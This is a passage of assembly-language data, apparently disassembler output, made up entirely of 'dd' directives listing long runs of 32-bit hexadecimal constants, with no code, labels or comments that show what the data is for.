		dd 3F1CE17Fh, 46513D48h, 7521756Ch, 0A71E8E01h,	0CC6CD10Eh
		dd 13F4F21Fh, 5ED520EBh, 0FECB77F2h, 0BED596E5h, 0FAB9F6A3h
		dd 16AA7CBFh, 5B922CAFh, 885C6071h, 0AA49967Fh,	0E151CB4Fh
		dd 3B23176Ah, 5E12443Ch, 97156225h, 0ABC2B90Eh,	0C098CDE2h
		dd 3FDE37D6h, 76A534D7h, 97B763B8h, 0F0E8ABADh,	0EF8EE786h
		dd 6750467h, 47475368h,	967D7B5Dh, 0F9389A42h, 0F201C524h
		dd 31113F0Fh, 70E7510Ah, 0A9E84A92h, 0C2D1B5D4h, 0E7B7C9DFh
		dd 21AA38BCh, 699F5181h, 0AB744EF6h, 0DB42BC6Bh, 1867EF7Bh
		dd 3E5F0161h, 163E5F2Fh, 922B8814h, 0C73EA60Bh,	348CF1EEh
		dd 23D02FE2h, 7DC67CC4h, 0ADBB9DDDh, 0CFB7AB86h, 2BE9088h
		dd 2C612CB5h, 7A7B4D5Dh, 0DA429B4Bh, 0D410B478h, 1131F825h
		dd 4C010E2Ah, 661D5106h, 0B9FD95CBh, 0ECA4C5E8h, 0BCDD9DAh
		dd 54852DB0h, 6B924FB0h, 0BD9D988Bh, 0F567EC90h, 241CEA77h
		dd 5F420752h, 6B12794Eh, 0AF2D9C3Ch, 0F709F90Eh, 66F9F219h
		dd 67F838D8h, 91CB71F0h, 0BEEF81D6h, 0F1BED9B4h, 0CA5138Eh
		dd 5AAB219Dh, 9D627D70h, 8773B716h, 0E055D879h,	5E380D4Ah
		dd 59332831h, 951F6303h, 0C2F0B911h, 0E0F6C7EDh, 5AD817C7h
		dd 4EB425D1h, 90A07FA5h, 0D389B6A7h, 0EF8EA497h, 25100665h
		dd 2240527Fh, 855B675Dh, 0F34CA027h, 0F405D438h, 11000904h
		dd 7BFB5712h, 8EF265DAh, 0FFB0B5CAh, 0F0A1E8D4h, 9AC0DA0h
		dd 75AF4087h, 85656E98h
		dd 0E170A97Eh, 1B5CF96Ah, 3E522D32h, 733E4223h,	8714B32Eh
		dd 0E7788900h, 8E9E0ECh, 9D405F8h, 47DA49DAh, 0DE8994CCh
		dd 0CFA8AA9Bh, 295FE94h, 266539A8h, 6B744148h, 8C68B522h
		dd 95099077h, 3E10A278h, 5B3A5812h, 65106715h, 0B3DB95F5h
		dd 0C7F6BCE3h, 0BC8C7C9h, 43A91FACh, 6A15893h, 839389B8h
		dd 0E77ADD8Bh, 1F70E544h, 77481543h, 65214E3Ah,	982C8D1Dh
		dd 0FF19D803h, 66C1F833h, 58627FDCh, 75FE4E9Ch,	98BD8E66h
		dd 0C0C8C239h, 20B4E925h, 0EA7348FEh, 0AA5A4254h, 0DE501F40h
		dd 0AC8A39D5h, 9ACB782Eh, 229E1A42h, 0D399D66h,	0AAD51451h
		dd 6698A88Eh, 5988382Fh, 23AA40DCh, 98875C9Bh, 0EE2453DBh
		dd 0DEAC7079h, 441306Ch, 0C4B1C349h, 6D381810h,	2FB3D886h
		dd 86709EB8h, 917CA8E9h, 237CADF3h, 23AF0482h, 0DEE2D0CCh
		dd 82F69C8Ah, 1F89AC45h, 4BBC7488h, 2683189Ch, 0BC7E9802h
		dd 9CBD674Eh, 0C93C740Ch, 0C4631082h, 7B6B3CDFh, 0F6A23FACh
		dd 2D4F56A1h, 87489FA5h, 1D4BD355h, 0DEC85D3Ah,	46B494D2h
		dd 0FDF09094h, 0C904362Eh, 665842C2h, 0DA3CF422h, 0CC12C25Ch
		dd 0B8E44Ah, 3E02585Eh,	0F52C7723h, 0C6AE2613h,	5DFDE39Ah
		dd 7E86AE3Bh, 4E33D1C2h, 8E6DABA7h, 31F4FCFFh, 9E9D35F2h
		dd 691C9402h, 0C96307F7h, 0C0C197E8h, 4358F870h, 9A446EEDh
		dd 99AB6876h, 0B71FB375h, 0FEB82644h, 0E39B6B3Fh, 8C38B0C6h
		dd 0E91B8325h, 3EC68E6Bh, 0D4839902h, 2E20E03Fh, 6DCB5323h
		dd 6082FDB5h, 0EAD94442h, 79FD3012h, 0C284F541h, 71665C66h
		dd 8829FF5Dh, 0A3C05088h, 7FDF780Ah, 0BEC19051h, 74234CF2h
		dd 919B8FF9h, 0CA71FF45h, 0EE38082Eh, 0A6A1551Fh, 0B560B04Dh
		dd 0F5F1E1A3h, 4F882860h, 0BACD55C6h, 234F81F7h, 82D4A2E8h
		dd 0B1FC6C49h, 0AD21277h, 0E2C25DF6h, 0B2FC990Ah, 2328981Eh
		dd 517789B3h, 0E93A3056h, 0F97269D7h, 0FC28C87Eh, 7AA8B44Fh
		dd 822360BCh, 97734AA6h, 0DED8E3E2h, 2F1BE41Fh,	76E08BB8h
		dd 422E5CDEh, 1472EB53h, 0DA251C7Ah, 0E4CDC036h, 0BBAA262Bh
		dd 57ABA82Bh, 1A4364E7h, 0DE14F586h, 372DFE92h,	6EA8B7EEh
		dd 6F0FB635h, 6E0203Eh,	3F75B1EAh, 9E18A35Bh, 55581999h
		dd 4AB35036h, 0D44141Eh, 0CE5851CAh, 92803562h,	32808074h
		dd 329548E2h, 843DE79Eh, 41BCF48Ch, 0B2543D3Ah,	62E47DDEh
		dd 0C6F822BEh, 0FA0C1406h, 0C672B240h, 0E4A1537Dh, 6D486800h
		dd 2ECBC99Bh, 0A7701067h, 9386B62Bh, 8EF0A9E4h,	8EC74A2h
		dd 1882D549h, 77420CDAh, 0EEB3AC28h, 8BF8CCA6h,	0A9477006h
		dd 200418AEh, 7BC7082Eh, 0BA5CEB60h, 0F2A0250Fh, 2608F7Ch
		dd 1EE2ECF5h, 0BCCB55C0h, 880A4559h, 79D9CAAh, 18081D0Eh
		dd 24CAA11Dh, 0B18D00E6h, 0D8439E4Eh, 0E9A5C05Ah, 4A3C6536h
		dd 7C9003EDh, 4997A54Ah, 0FE28983Eh, 28DCC4D2h,	78EAF569h
		dd 0D6352CBAh, 0DEC8FAB6h, 0A2F8B02Dh, 49E20519h, 0BD575CEAh
		dd 1E273A9Bh, 0DEEEA922h, 0AC7E4036h, 0F9128D3Fh, 2E7DDCD3h
		dd 8765C772h, 0C680F013h, 0F475BF9Ah, 0AE3C5A51h, 3BD3DCCDh
		dd 82EF20D6h, 0D2F4EDFAh, 0EB32867Eh, 549CC202h, 37B45F26h
		dd 82441C3Bh, 3F2DC870h, 0CA523524h, 13C7CE3Fh,	0F45BC7C8h
		dd 0D5E719D8h, 0CAD6B57Ch, 6983E697h, 72DB764Fh, 0EFC311EEh
		dd 0FAD3910Dh, 43ADE016h, 9224B2B1h, 52207854h,	7A5C4452h
		dd 0FCE5EF35h, 0FF84CC45h, 8E98A882h, 5A13F1ADh, 972940B6h
		dd 73D40CCAh, 0F7BA88E0h, 2F79ABA4h, 0D5107006h, 1E8834DCh
		dd 77BC0723h, 864CD442h, 2A93D576h, 0D77B5656h,	1E8838F2h
		dd 0CABC093Fh, 978DF086h, 0F7B0F9DDh, 6EE4C4B1h, 646D4897h
		dd 92682009h, 3365B97Eh, 44589B60h, 22494B1Dh, 16AF7780h
		dd 0F2DECD55h, 5978C849h, 0EF73C660h, 46B05E3Ch, 42E4EC99h
		dd 0D720A8EEh, 0EEDCC4D2h, 1A9EE789h, 42603D95h, 3102BDF1h
		dd 1AA9F432h, 6F73F642h, 4D1009C3h, 5639584Eh, 8A7C2672h
		dd 86C6A1D7h, 9DBA2965h, 0FB3588BEh, 3ADC4F5Dh,	52291386h
		dd 83A6BCBBh, 0CC9D47AFh, 0ED1C942Ch, 0A3CF7422h, 254221Ch
		dd 43D82BB6h, 9A7CA115h, 0C437977h, 0CD95268Bh,	0FADBE7ADh
		dd 0A39F14Dh, 4DE3EAB2h, 6957AC51h, 0A3C418EDh,	0EA11D7B7h
		dd 0CA9A6B16h, 1934AC2Bh, 5E4970B4h, 1A44752h, 3DFB70ADh
		dd 0B6E57A89h, 7B7AEF8Bh, 9D2F5A49h, 0EA4B13B9h, 0A200879Dh
		dd 0EFA8B28Ah, 7503CEA0h, 462E9693h, 78A9B71Ah,	6D381810h
		dd 7567D886h, 416749D5h, 0BA74066Dh, 1DC7B17Eh,	0ACD35751h
		dd 0E4F187F2h, 0EB89C0FFh, 3DB71AADh, 4698528Dh, 826E69A1h
		dd 0EE67BB65h, 0C5AED5Dh, 1C480A57h, 7F234223h,	0A7389235h
		dd 0C114B816h, 7AFEF1F0h, 21D201C2h, 7DFC58CFh,	0DCC88CCDh
		dd 0FF8CC4D2h, 6201F94h, 2B7C3388h, 7C710663h, 0B64D9341h
		dd 8839B857h, 3C54E03Ah, 1E231B17h, 6E125004h, 0A1F887F6h
		dd 0E7F7E990h, 24C8A8FCh, 1A821D8Dh, 748956F0h,	87FE999Eh
		dd 9E08B816h, 879DD912h, 36204E8Bh, 173399FCh, 3158E85Eh
		dd 8A52CAF7h, 79684176h, 2CFE70FEh, 0C09EAD15h,	66E5E4A2h
		dd 0BCA59EFAh, 9DDAFDBCh, 0A3DB3DF3h, 0EA332EBFh, 0C4566B16h
		dd 3752097Dh, 66F8FDB3h, 0AFD34442h, 0F66028B0h, 38C25580h
		dd 7566E602h, 954E7513h, 728105Dh, 712BF331h, 0BAE0FCA2h
		dd 8214E087h, 5107006h,	660A7F5Ch, 11384462h, 0AA725ED7h
		dd 0F2A0AB56h, 501EFF67h, 2C1DC72Dh, 159C14ACh,	21584376h
		dd 6A3B6344h, 4ED868C5h, 45AF72B1h, 0A22E53B9h,	4D148046h
		dd 6E16128Bh, 0B4408C32h, 16B8CFB9h, 1D9B03ACh,	0BE6A14E3h
		dd 0F745A782h, 56E28813h, 43E57DAAh, 8F99A8EFh,	2C493B83h
		dd 9EF080D8h, 42045CF1h, 5C5D7B5Bh, 9E02C611h, 59408C7Ah
		dd 626A06DFh, 3E62B05Eh, 790B2472h, 0B8F982F6h,	0A2E5DAEEh
		dd 5C2D77FEh, 0B3CC44FCh, 16DE1A53h, 5FC5E3EAh,	8E11C573h
		dd 2A990D12h, 67304019h, 3CCE89C5h, 0A6CBE85Eh,	9A6CB466h
		dd 7F0A35FBh, 0BFCD4C9Ah, 0EE973E23h, 3F7E0CB2h, 51B64F39h
		dd 72FA115Fh, 0ADA848EEh, 0EA127BA7h, 53ADE016h, 9224B207h
		dd 5F222C6Eh, 420E4438h, 76701064h, 0FDAE4985h,	4E1DA89Eh
		dd 0D78E01F8h, 36DE203Bh, 0F4BE5ECAh, 0A0856D53h, 0DCA8A4E2h
		dd 4412056h, 1D0AA9E5h,	1160083Eh, 0AA73F2D7h, 0C1E56656h
		dd 52747C2Bh, 1E883496h, 0A5CF5392h, 84839BE5h,	0CE88D894h
		dd 0C44D97CEh, 89EC24DCh, 0E600079Eh, 53A1410Ah, 27288806h
		dd 74CAD9BFh, 2BB83056h, 0A9B03AFh, 0AE78C862h,	33C2DDD5h
		dd 68F425D8h, 12F860EEh, 0E0426D41h, 6A59C4C2h,	74C514E9h
		dd 2A975CFAh, 0E18280Bh, 0C33341AFh, 2B19C026h,	626B9EF7h
		dd 0CB6EB05Eh, 0B7FFDB8Dh, 0D680CF90h, 0B220B39Ah, 0EFB888ACh
		dd 3ACDC42Eh, 78874D6h,	2DF4ECEBh, 8E364E6Bh, 0FAD80512h
		dd 66305027h, 22EC8B1h,	0D8CD171Ch, 1F6CA45Dh, 6BF5D9B6h
		dd 3287C4E2h, 543DE79Eh, 21BCF48Ch, 0F96D3324h,	62E46CC4h
		dd 0AB75619Bh, 0FA1C0A71h, 0C4B51F46h, 1734BC15h, 0D7CC77FEh
		dd 0A15C4453h, 0F6FB1C26h, 470BEC85h, 8E88B6E1h, 1BEBF164h
		dd 4CC140A6h, 98D566CAh, 0B07D27DCh, 9FCB4CDh, 0D21F8FFEh
		dd 22243D7Ah, 85AD85BDh, 0D04CC45Ch, 7933F246h,	424A92FFh
		dd 1148BD7Eh, 0EA9D4417h, 3A0D5DA6h, 33C48CA4h,	0B4E480C6h
		dd 8E84CB1Dh, 0B80000F6h
		dd 869D2A21h, 0EBD7CC3Ah, 4A2C5AB0h, 8CA8DCBh, 0E3D5FC4Ah
		dd 5182D586h, 0FD19197Dh, 2CA07088h, 12A044AAh,	8D9AF8BEh
		dd 95D6512Dh, 327D90F6h, 0D78948DEh, 0E086AE6h,	0D09AFB72h
		dd 0B26484BDh, 705C6C8Bh, 747A5914h, 9363670h, 0DEB4B48Dh
		dd 63AB5D1Ah, 65E9804Eh, 0C5DC7086h, 0BB6D70E4h, 0D2E4D3A2h
		dd 9E08A416h, 5C32A112h, 161E705Eh, 277E3C14h, 0F676CD6Bh
		dd 0BA14911Ah, 2C8AF353h, 12DA05C5h, 6B574F9Eh,	0CAACDA88h
		dd 967C7447h, 628E7CDAh, 0D1AB1FBEh, 0EA331E97h, 56AD6B16h
		dd 0F834BC3Fh, 35539B3Eh, 0C20D499Bh, 0F6701063h, 0C8E0F95Ch
		dd 1B67FF8Eh, 5ABC4A98h, 76CC8435h, 0F5BC0721h,	33E8D8DEh
		dd 9AE2044Fh, 0A9432706h, 321B368Fh, 90F88D2Eh,	0F2F95916h
		dd 560B069h, 4261FCCFh,	9305387Eh, 0EA8C45D5h, 0B6DA1E8Dh
		dd 7D97CAEBh, 5EE76E5Bh, 1A14B7E2h, 6D912F88h, 0FAA141F4h
		dd 0CE288821h, 3F92963Fh, 3CB85056h, 839B03A0h,	0A79BDF1Ch
		dd 918DE30Fh, 6D6FEB7Ch, 5A09A164h, 2DC8E881h, 412B4376h
		dd 0E30FC35Fh, 42146200h, 1B6F958Eh, 0AE2DF432h, 0D370A81Ch
		dd 0E7AB8C4Ah, 3E7866F4h, 4B3B99F2h, 0A290F096h, 0CD217B8Bh
		dd 6EB898B0h, 0FCCC54C2h, 16A16753h, 0DA1DECEAh, 59F74700h
		dd 7A090497h, 36305026h, 68641BAh, 8152E54Eh, 0F503DA42h
		dd 0EFA018h, 54FD20AAh,	0B18839FBh, 0A7D59092h,	0F9A490A3h
		dd 0E811FFAh, 4F8A2A8Bh, 0F72D7176h, 0E600C01Ch, 0B27B8C0Ah
		dd 33250D4Dh, 4D7C3637h, 93146207h, 0C889FD14h,	0EBF4CDDCh
		dd 3FC000CCh, 5FAC33C5h, 82B564EAh, 0DFC8A1AEh,	0EFDCC09Ch
		dd 3575007Eh, 564A5D6Eh, 9A4B2802h, 0D328BA23h,	0A65AC738h
		dd 57E6147h, 76EB4C1Fh,	0CAFB6AFBh, 96DCBCC7h, 0A2BDFDDEh
		dd 6EBC06AFh, 728B5D8Ch, 80202C82h, 0D434BE65h,	104DF16Ch
		dd 31C1756h, 7F314766h,	0E869C62Eh, 0DC1DA039h,	8EDB4E7h
		dd 29D940F3h, 749400DFh, 0B0AD91CCh, 8AE3B7B6h,	139DFFA5h
		dd 364D7CDBh, 2E6B412Eh, 0BF419D56h, 0D209E017h, 1E74FF6Dh
		dd 1F0D2C3Fh, 3ABBA076h, 96A7A2B4h, 0ED70C699h,	9B18E122h
		dd 2A6A40EBh, 37AB0146h, 92C3BEA2h, 0F160C2F4h,	0AD741C9Dh
		dd 23B5DF03h, 984A0E01h, 0D6BDE73Eh, 5800783Eh,	0BE383324h
		dd 32944C8Ah, 0FEA8189Eh, 0CABCE4B2h, 96D0B0C6h, 62E47CDAh
		dd 2EF848EEh, 0FA0C1402h, 0C620E016h, 9234AC2Ah, 5E48783Eh
		dd 2A5C4452h, 0F6701066h, 0C284DC7Ah, 8E98A88Eh, 5AAC74A2h
		dd 26C040B6h, 0F2D40CCAh, 0BEE8D8DEh, 32592792h, 56106044h
		dd 60989999h, 0E138083Eh, 375897F5h, 316FB805h,	82776A21h
		dd 3AAC7CF5h, 989046B9h, 0BEF2EBBFh, 0C04F88C9h, 429A43DAh
		dd 5854A16Bh, 638900E6h, 0B2048EB6h, 0BCAB9DF5h, 2BE5861Ah
		dd 9E503484h, 0F240A3DFh, 0AE1C206Eh, 5AE49482h, 0CBA06096h
		dd 297A02Fh, 0C6F1A1BEh, 6A5FC8A6h, 890772E2h, 5246C87Fh
		dd 0D7EFEB0Eh, 0FE737921h, 0B6A3C026h, 0FDA8FCB5h, 3A80DB5Eh
		dd 97F5D290h, 0D680D30Ah, 0D6A48619h, 6D8AA3ABh, 744144B0h
		dd 58BB782Ah, 0A6F4D669h, 753A47FAh, 7A6E7B11h,	0C9CF07CEh
		dd 298A37C5h, 0DE1A54C3h, 0D16FEC62h, 0E30F4342h, 32840E12h
		dd 0BC3C9D59h, 0CABCE4A2h, 0AA38B0C6h, 0E9E47CDAh, 3EBADC6Bh
		dd 0CA5FC02h, 0DEC81FE9h, 1134AC2Ah, 4E0AEC83h,	22294452h
		dd 0D2788DEFh, 5E6FDC6Ah, 0CC0C2571h, 0D56F74B2h, 3682D833h
		dd 664185CAh, 56E8C89Ch, 8AFCA4F1h, 0DDD3B935h,	2224BC89h
		dd 3D05A2Eh, 0B9B32BBCh, 96221CC3h, 0D1A26F6Ah,	11883404h
		dd 0EA9D0316h, 0A6CA53A6h, 7F4093BAh, 0C5D868CEh, 0F2BC38A0h
		dd 19FFFE3Eh, 0F0A84909h, 0B82B980Eh, 0CA34EE62h, 0F2430BFh
		dd 964A05DAh, 5F93886Dh, 0FB8DDC09h, 997FBF77h,	564DAD75h
		dd 0ABC8B4F2h, 62F79D3Eh, 790A6965h, 4204EB75h,	76994E0Eh
		dd 0D51EC7DCh, 0A6406BB3h, 48D7DA4Ah, 0B56D2D5Eh, 8973438h
		dd 2793FA0Dh, 5CD654CBh, 0DBBB7751h, 3ADC167Eh,	7E20A57Bh
		dd 5670E311h, 6108B8FEh, 7A5E38A7h, 63D80026h, 1BBE3C4h
		dd 0DE1A54CBh, 26E93B62h, 65809034h, 0B1C7688Eh, 259B1A5Eh
		dd 29B452BDh, 0B61930D4h, 46C0BD89h, 0AE461EAh,	0A128182Bh
		dd 47C90B56h, 29E3A3D1h, 0DF760CE3h, 4419ECA9h,	774664BDh
		dd 63BF8581h, 0FB6DC71h, 0EF8EA259h, 0A7E6341Ah, 0AA3D9F31h
		dd 3FF6AC2Dh, 0D215D909h, 0D70604F5h, 71B7AE1h,	6F367CCFh
		dd 9F73E4B9h, 7966D4B7h, 4236F4FFh, 6F61637Eh, 0B463FB6Dh
		dd 5FA41225h, 7D3B6255h, 4AB2690Dh, 0EFA5DCBAh,	7388FF09h
		dd 0B204EA33h, 66192078h, 0AEFC8630h, 70B23245h, 0BA6296F1h
		dd 518DE686h, 724E177Dh, 43CAB111h, 0E795C4F2h,	24480741h
		dd 1AD7B7D1h, 4F7592B6h, 0E8044CDCh, 66720FE5h,	20AC5E7Ah
		dd 1658B535h, 8755645Bh, 3FD0A7A1h, 8E7C2472h, 79D8454h
		dd 496E427Ah, 0D6BD6358h, 0BACC54C2h, 0C55FC27Dh, 0EB647967h
		dd 4923B8EEh, 9DDF5EE5h, 2609D4A3h, 2441C3Ah, 0ECDE746h
		dd 6C6754A3h, 76B902F3h, 34E14D8Ah, 0DB2115F8h,	4F4AF759h
		dd 96C08944h, 4E209D8h,	0C5DD79E3h, 0FB017206h,	2E8B8633h
		dd 6DCB5396h, 0D77C3BB5h, 3A1EE8C7h, 1B3BB66h, 0D2BD58FFh
		dd 8E98A88Eh, 9A397BAAh, 0CE6AFCB2h, 0D2BF356h,	0FC584D57h
		dd 0F0AA4E2h, 56004984h, 2D20491Bh, 0C53AE31Fh,	4D8F7F82h
		dd 965924D3h, 52746C6Ah, 94AF4C76h, 0FAA57A17h,	0BD5011A6h
		dd 0C74F91DCh, 0B668C3A8h, 6469BE48h, 270010CFh, 0D511D7EAh
		dd 0D52E117Ah, 0E15AA401h, 72E822ADh, 4964F9D5h, 97064DE4h
		dd 22889492h, 0EDB88057h, 8631EA69h, 0D7C8E899h, 566CE139h
		dd 0CE96B00Dh, 0E9625C11h, 0A7231E5h, 2E251C7Ah, 0A2CD3FC9h
		dd 7AB44D98h, 0FEE15D38h, 9978F14h, 0BC3A6036h,	524CE495h
		dd 0EE47775Dh, 2AEBC047h, 0FC6026D6h, 56DB9FE2h, 60CBCC2Ch
		dd 94DFF0D8h, 0C8F724ECh, 0FC9D68F0h, 30549C84h, 6463C0A8h
		dd 0D68FF4BCh, 825FA773h, 2518B219h, 3F0C2059h,	6E60702Dh
		dd 9527C031h, 3EC1CC6Bh, 0FA2C1402h, 0B3A65016h, 1F30A828h
		dd 0FBC28671h, 2A4C7D2Eh, 0AF0BB00h, 7283A97Fh,	71D7288Eh
		dd 3844DEE2h, 0D13FBF49h, 0E2ED884Fh, 0BEA8D8DEh, 0EC44C2F2h
		dd 0E2120537h, 928F5A33h, 90BD0236h, 7A4CC47Bh,	6ECAA3B6h
		dd 0AD8B9357h, 9B7FB0CEh, 0EA8C3D16h, 0B6B050A6h, 4749ECFh
		dd 77A4CD44h, 0B18A34F2h, 9305FC76h, 32147C0Dh,	0D4686751h
		dd 0DA81E9F1h, 0FE50207Fh, 1D9B0357h, 97FC4D99h, 7A8C9492h
		dd 45D47096h, 0E51E4C1Ah, 0CEF17C3Bh, 0AADCC4D2h, 0CEF7E4EEh
		dd 42E8D7AFh, 8BEF67A5h, 0DA3CCDA6h, 0A740C035h, 72A40845h
		dd 0D6D8585Eh, 0B7F58FD8h, 0D680B21Ah, 5D5A7072h, 0C4503851h
		dd 9A71DD69h, 0EEE03094h, 2D0B1257h, 0A78C3D09h, 6A1F8402h
		dd 2C445026h, 3BC099CDh, 0CE58E85Eh, 9018B562h,	997EAE9Eh
		dd 0CC0FA475h, 1718E761h, 4F374F18h, 96C0F25Ah,	0AACFB351h
		dd 6C5CF567h, 0B2851412h, 0A24758EAh, 0A19F9AD5h, 0A9E31EFEh
		dd 3A65C0D7h, 0F6701366h, 3497A87Ah, 9EA12A0Bh,	50D8F4A2h
		dd 0D93DEA5Eh, 0C8FE435h, 0D9502721h, 21DA2D96h, 0FD76B035h
		dd 1BA0B9EDh, 0EE3B083Eh, 0E038D442h, 0BFE225A0h, 27F46C7Ah
		dd 0E309D074h, 0D874FB6Dh, 5E4F2F58h, 7D3B61B8h, 5A30487Eh
		dd 0F913CB19h, 19B866CFh
		dd 23BFAA1Fh, 0FABD13B5h, 0BD3C740Bh, 1592C794h, 9764FC5Ah
		dd 52A4207Ah, 653C6B7Dh, 0B95A8E7Eh, 0ED0C4A55h, 4F639EABh
		dd 21134F79h, 66B23463h, 0CBCC77FAh, 8BEFD446h,	0DA3CCDA6h
		dd 0A640C035h, 0F7A3B43Eh, 3E7861DAh, 0C7C2472h, 5367DCF2h
		dd 0A2B4851Eh, 6FB888AEh, 0F8245EB7h, 0EE1FDF2Bh, 2D0B11A1h
		dd 0A78C3D09h, 6A1C8402h, 3C445426h, 0FDB9B0D2h, 333900B1h
		dd 1F9B4B9Dh, 6690B9F2h, 32944C8Eh, 68400FEAh, 72431B4Fh
		dd 5E2E70EFh, 0A2ECC471h, 96534C9Ah, 9DE7EC77h,	3B5F08BDh
		dd 17C353D5h, 5E5841BAh, 2A5C445Ah, 4BF06213h, 0C294E5F8h
		dd 66F1DC8Eh, 0A55389C7h, 0FD8690Eh, 8C710603h,	7EE8C8E7h
		dd 2FF6A716h, 56004978h, 0DF6FD4B1h, 5F88F7D1h,	38C95EE8h
		dd 2C60B06Fh, 0AD895082h, 9B3E3781h, 0EA8C3DECh, 0B270D42Bh
		dd 8A245DFAh, 0E5BEE57Eh, 4D463552h, 19FD201Eh,	9628E5F5h
		dd 85CA2078h, 0CEB9936Bh, 650207Fh, 9664FC5Ah, 4317869h
		dd 80F92CE4h, 0EDC68194h, 0ED48D042h, 74204841h, 237704E1h
		dd 66B2185Bh, 0C681ABFAh, 2E183837h, 0AF2CF422h, 78A89721h
		dd 28AB73B6h, 66D897D5h, 8F76EE59h, 0D680C9FAh,	858F613h
		dd 91444046h, 0BB74323Dh, 8265D716h, 92F4FCD3h,	0EA08B8FEh
		dd 42D80411h, 0F4CF52Ch, 0A9221C2Ah, 8CD455C7h,	6DC7B472h
		dd 76B904F3h, 32944C8Ah, 4EA16DDEh, 0B639E6E2h,	3CD0A0FFh
		dd 5B60F92Dh, 2E7848FEh, 0F1791402h, 432A58A6h,	92249557h
		dd 38759394h, 0DD4475EAh, 0E64994E3h, 0C285DC7Ah, 3E9ADC8Eh
		dd 27097E8Bh, 0E6C0508Fh, 57DE0F2Eh, 0BEF8E1A3h, 329A0F94h
		dd 0D3E78087h, 2234059Eh, 0EE380A2Eh, 72F8D637h, 0BF1D055Ch
		dd 0F9126C7Ah, 5C2085F7h, 7A240482h, 1DB0D08Fh,	0BB40194Dh
		dd 4ED068DEh, 6B9834E2h, 19FC201Eh, 36913BF5h, 7E288827h
		dd 3F3C6436h, 1CE8804Dh, 0F25D82DFh, 0E393626Eh, 43081175h
		dd 4EA06086h, 3C12CAAh,	3E4B40D8h, 93A261D8h, 0DD9690F6h
		dd 0A9AE9CC9h, 27A04E1Bh, 0A489FE3Ah, 6640D00Fh, 0D75E8FAEh
		dd 3E786120h, 8F8B8F14h, 0D680C902h, 0A2A4AC9Ah, 0AE3930C8h
		dd 0FE4C57B6h, 78452ADEh, 0B4F4FCD3h, 1BBEB755h, 6A0CBD90h
		dd 0CD9FB88Dh, 87B3E3C5h, 0CE48D1CAh, 0DA6CB462h, 36308E02h
		dd 0BE8C988h, 1602188Eh, 35431F27h, 1F2EFF4Bh, 72A6EC57h
		dd 0AA7DBFEEh, 0FA0C043Bh, 0B2A0E016h, 38DC1C26h, 0EAF5F195h
		dd 0C15C5410h, 0D91F863h, 0A86C2385h, 79675775h, 4A95F027h
		dd 27C040B6h, 42DF79CAh, 0C26DD29Eh, 20FCB4CBh,	0EE767FEDh
		dd 872EFC99h, 0EE283152h, 0BBFC7F24h, 2E557FCh,	52747C53h
		dd 6B883A7Eh, 6E19F3BDh, 0B6B0C09Fh, 0F7C498BAh, 4418D8D4h
		dd 0AD54A67h, 65A58AF6h, 7314DC33h, 0C64E88FEh,	0FA97E554h
		dd 0A658DB46h, 9CE1F61Ah, 478D857h, 43081175h, 46A06086h
		dd 2C12CA2h, 364B40D8h,	93A161D8h, 0DD9690F6h, 4AEF5D4Ah
		dd 8B1260BEh, 0DA3CCD5Fh, 5C9F289Ch, 0F7A373B5h, 3E7861DAh
		dd 0A6C2472h, 0F3E58537h, 5A2704FCh, 57C52DA4h,	91AA54D2h
		dd 2F4AE0E5h, 0C2B67C57h, 1A8D4FFEh, 6A1C942Bh,	43307026h
		dd 0E933AD25h, 0C7E08E55h, 0E7C9BE7Ah, 0A680904Fh, 979E4F6Eh
		dd 0FEB821E3h, 77954FD4h, 96C0F256h, 0C76EBD50h, 2EE80A7Eh
		dd 0A2BCBF64h, 0FF5C6514h, 7A9EAC3Ah, 0A1B78247h, 13D8C1A5h
		dd 0F6731076h, 0EEF0DD7Ah, 0B71C2D79h, 5AAC74B2h, 6B544B6h
		dd 0CB50893Dh, 0BEE8D8CEh, 8089A7F2h, 0A9E9AEEEh, 0D86FD4E5h
		dd 0EED0F7D1h, 52B32BB8h, 799F5A17h, 6BF0E99Dh,	1E88386Eh
		dd 0E2E80C92h, 5E1A1916h, 7D3B6697h, 775CED39h,	1AEC34F2h
		dd 0CC7410F6h, 373ECBBAh, 7E38A162h, 472684F3h,	167438CFh
		dd 0DB185958h, 4AB8C87Eh, 7E481481h, 0BF5F883Dh, 7304D355h
		dd 273F1014h, 12BA3B2Dh, 0D3FA7019h, 42146586h,	0E8F08368h
		dd 2DD30BDBh, 0B67944B3h, 7254AC4Ah, 0B52C2C5Eh, 82F1AFB5h
		dd 0FD90E0C4h, 5EE5355Bh, 0EBB2D01Eh, 3ADC6DBEh, 0FF5FC87Ch
		dd 57031315h, 9E18817Ah, 6A5C8412h, 8E565C52h, 874EDF6Ah
		dd 0CE48D132h, 220ABE89h, 0C38A6089h, 328475F6h, 6840B3F8h
		dd 3D431B4Bh, 86E93443h, 62E47FDAh, 0A5A73CEFh,	5A899FCDh
		dd 0ED20F054h, 6E7C25E2h, 0DBBFB10Dh, 2A4C7DD6h, 0F6F01066h
		dd 4709D20Fh, 8E8891F2h, 0DAEC7C28h, 0DEB3434Fh, 0B6190847h
		dd 7FE8C8FAh, 14CAC12h,	301693ADh, 44E40DA2h, 61806E85h
		dd 0BAF4BCC2h, 6762A056h, 0F92CC70Ch, 18FDF1FBh, 2AADBCF4h
		dd 75007BC0h, 7BEF7410h, 0CB2F9731h, 1AFC0D66h,	660000F6h
		dd 7D9FD67Eh, 3C9C1D95h, 82176422h, 0FEAC78CFh,	1D9B0525h
		dd 46D20BDEh, 85736D87h, 7F30E51Bh, 97432CBAh, 0DED8C13Ah
		dd 8ADCC4D2h, 5DA79693h, 5BEF0402h, 25307B85h, 51FCDFDAh
		dd 0B60268BBh, 0FAC18D4Ah, 3F68481Ch, 2E38AF4Bh, 0BE2D7982h
		dd 29A4AC8Ah, 7EFA0413h, 0B2497FC2h, 0F1E03094h, 0C2CD686Fh
		dd 9E08F8FEh, 9D1EF012h, 32F2FBFEh, 81134A3Ah, 0DE1A2CF3h
		dd 1E63B462h, 668081AFh, 32944162h, 0ACED539Eh,	0F9F0A1FCh
		dd 0DA949EF4h, 0F71B7C96h, 2EE8769Ch, 0B8D4918Bh, 4D73E006h
		dd 4A379072h, 0D5600BC1h, 33B47011h, 7D8FEF93h,	0D2C664EFh
		dd 0CC9BF38Eh, 8629FDAEh, 25C050F4h, 775D0488h,	0BEF89A3Eh
		dd 75D4D779h, 5610F0B5h, 0D6D6D41Ah, 53B3F7D1h,	0BA5C96FAh
		dd 72864800h, 0C7FF9395h, 1E987AC6h, 0E9944E19h, 789BDCECh
		dd 8DC17539h, 4ED90846h, 40683BE2h, 0E50000F7h,	0A25670BFh
